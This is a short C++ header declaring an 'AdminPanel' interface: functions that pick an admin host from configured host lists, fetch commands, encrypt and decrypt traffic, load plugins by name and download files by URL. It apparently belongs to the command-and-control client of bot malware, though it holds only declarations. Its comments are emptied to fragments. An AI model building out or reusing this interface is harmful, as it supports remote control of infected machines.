#include "core\core.h"
#include "core\debug.h"

namespace AdminPanel
{

const int DEF = 0; // 

bool Init();
void Release();

//   
//type - 0 Config::Hosts ( ), 1 - Config::HostsAZ ( AZ)
bool GetHostAdmin( int type, StringBuilder& host );
//    
bool GetCmd( StringBuilder& cmd );
//  ,  dst     IV (8 ) +  
bool EncryptToBin( const void* data, int c_data, Mem::Data& dst );
inline bool EncryptToBin( const Mem::Data& src, Mem::Data& dst )
{
	return EncryptToBin( src.Ptr(), src.Len(), dst );
}
//       base64    ,  dst  IV +    base64 (  )
bool EncryptToText( const void* data, int c_data, StringBuilder& dst );
inline bool EncryptToText( const Mem::Data& src, StringBuilder& dst )
{
	return EncryptToText( src.Ptr(), src.Len(), dst );
}
// 
bool Decrypt( const Mem::Data& src, Mem::Data& dst );

bool LoadPlugin( const char* namePlugin, Mem::Data& plugin );
bool LoadFile( const char* url, Mem::Data& data );

}
